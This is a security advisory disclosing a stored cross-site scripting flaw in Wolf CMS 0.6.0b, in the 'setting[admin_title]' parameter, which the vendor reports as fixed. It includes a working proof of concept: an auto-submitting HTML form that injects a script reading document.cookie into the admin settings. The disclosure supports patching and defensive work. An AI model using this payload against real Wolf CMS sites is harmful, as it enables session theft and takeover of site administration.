Vulnerability ID: HTB22679 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_wolf_cms_1.html Product: Wolf CMS Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) Vulnerable Version: 0.6.0b and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "wolf/app/controllers/SettingController.php" script to properly sanitize user-supplied input in "setting[admin_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?/setting" method="post" name="main"> <input type="hidden" name="setting[admin_title]" value='Wolf CMS"><script>alert(document.cookie)</script>'> <input type="hidden" name="setting[admin_email]" value="email@xxxxxxxxxxx"> <input type="hidden" name="setting[language]" value="pl"> <input type="hidden" name="setting[theme]" value="brown_and_green"> <input type="hidden" name="setting[default_tab]" value="page"> <input type="hidden" name="setting[default_status_id]" value="1"> <input type="hidden" name="setting[default_filter_id]" value=""> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version